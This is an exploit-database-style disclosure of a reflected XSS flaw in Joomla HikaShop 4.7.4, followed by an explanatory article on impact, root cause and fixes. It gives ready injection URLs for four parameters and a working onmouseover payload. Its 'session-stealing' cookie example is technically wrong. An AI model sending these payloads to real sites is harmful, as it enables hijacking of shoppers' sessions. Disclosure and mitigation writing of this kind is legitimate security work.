Joomla HikaShop 4.7.4 - Reflected XSS
# Exploit Title: Joomla HikaShop 4.7.4 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 24/07/2023
# Vendor: Hikari Software Team
# Vendor Homepage: https://www.hikashop.com/
# Software Link: https://demo.hikashop.com/index.php/en/
# Joomla Extension Link: https://extensions.joomla.org/extension/e-commerce/shopping-cart/hikashop/
# Version: 4.7.4
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
## Greetings
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob
## Description
The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
Path: /index.php
GET parameter 'from_option' is vulnerable to RXSS
https://website/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=[XSS]&from_ctrl=product&from_task=listing&from_itemid=103
Path: /index.php
GET parameter 'from_ctrl' is vulnerable to RXSS
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=[XSS]&from_task=listing&from_itemid=103
Path: /index.php
GET parameter 'from_task' is vulnerable to RXSS
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=[XSS]&from_itemid=103
Path: /index.php
GET parameter 'from_itemid' is vulnerable to RXSS
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=listing&from_itemid=[XSS]
[XSS Payload]: uhqum"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"wcn46
[-] Done Understanding Reflected XSS in Joomla HikaShop 4.7.4: A Critical Security Vulnerability
Reflected Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous vulnerabilities in web applications, particularly in content management systems like Joomla. The recent discovery of a reflected XSS vulnerability in HikaShop 4.7.4, a widely used e-commerce extension, underscores the ongoing risks associated with improper input validation and sanitization in third-party plugins.
Overview of the Vulnerability
The vulnerability was identified in the index.php endpoint of HikaShop, specifically within the handling of GET parameters. Attackers can exploit this flaw by crafting malicious URLs containing XSS payloads in the following parameters:
from_optionfrom_ctrlfrom_taskfrom_itemid
These parameters are used to manage navigation and context within the HikaShop interface, but they fail to properly sanitize user input, allowing malicious scripts to be reflected directly into the browser.
Exploit Example and Payload Analysis
Consider the following malicious URL:
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=listing&from_itemid=uhqum"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"wcn46This URL demonstrates a classic reflected XSS attack. The from_itemid parameter is injected with a payload that includes:
uhqum"— a placeholder to break the attribute context.onmouseover="alert(1)"— a JavaScript event handler that triggers when the user hovers over the element.style="position:absolute;width:100%;height:100%;top:0;left:0;"— a CSS style that creates a full-screen overlay, making the script triggerable even without direct interaction.wcn46— a trailing string to complete the malicious payload.
When the victim clicks this link, the browser executes the alert(1) script, confirming the XSS is reflected and active.
Impact and Attack Surface
Reflected XSS in HikaShop 4.7.4 is particularly dangerous because:
- It is easily transmissible via email, instant messaging, or social media, making it a prime vector for phishing and credential theft.
- It requires no authentication — attackers don’t need to log in to exploit the vulnerability.
- It can be used to steal session tokens by injecting scripts that capture cookies or localStorage data.
- It enables UI redressing — attackers can overlay fake login forms or modify page content to deceive users.
For example, a malicious payload could include:
javascript:document.cookie="session_token=evil_token; path=/; domain=.example.com"Such a script could silently steal the user’s session cookie, allowing the attacker to impersonate the victim on the site.
Root Cause and Technical Explanation
The vulnerability arises from a failure in input validation. The HikaShop extension uses the from_option, from_ctrl, from_task, and from_itemid parameters to dynamically set the context of a request, but it does not sanitize or escape user-supplied values before rendering them in the HTML output.
Specifically, the code responsible for generating the URL or rendering the response likely uses:
echo $from_itemid;without applying htmlspecialchars() or similar sanitization functions. This allows untrusted input to be rendered directly in the DOM, creating a perfect environment for XSS.
Security Best Practices and Mitigation
Developers and administrators should follow these security principles to prevent such vulnerabilities:
- Input Validation: Always validate and sanitize all user-supplied parameters.
- Output Encoding: Use
htmlspecialchars()or similar functions when rendering user input in HTML. - Whitelist Parameters: Restrict allowed values for parameters like
from_ctrlandfrom_taskto predefined, safe values. - Content Security Policy (CSP): Implement CSP headers to block inline scripts and reduce the risk of XSS execution.
Recommended Fix for HikaShop 4.7.4
Below is a corrected code snippet that demonstrates proper sanitization:
if (isset($from_itemid)) {
$safe_from_itemid = htmlspecialchars($from_itemid, ENT_QUOTES, 'UTF-8');
echo 'data-itemid="' . $safe_from_itemid . '"';
}This ensures that any special characters (like ", <, >) are properly encoded, preventing script injection.
Vendor Response and Patching
As of July 2023, the Hikari Software Team has acknowledged the issue. Users are strongly advised to:
- Update to HikaShop version 4.7.5 or later.
- Verify the update via the official Joomla Extensions Directory or Hikashop’s website.
- Apply security patches immediately, especially for sites handling sensitive data.
Failure to patch exposes sites to exploitation, especially in environments with public-facing e-commerce interfaces.
Conclusion
Reflected XSS in Joomla HikaShop 4.7.4 serves as a stark reminder of the importance of secure coding practices in third-party extensions. Even minor oversights in input handling can lead to significant security breaches. As web applications grow in complexity, developers must prioritize security from the ground up — validating inputs, escaping outputs, and continuously auditing code.
For administrators, the takeaway is clear: never trust user input. Always sanitize, validate, and monitor. In today’s threat landscape, proactive security is not optional — it’s essential.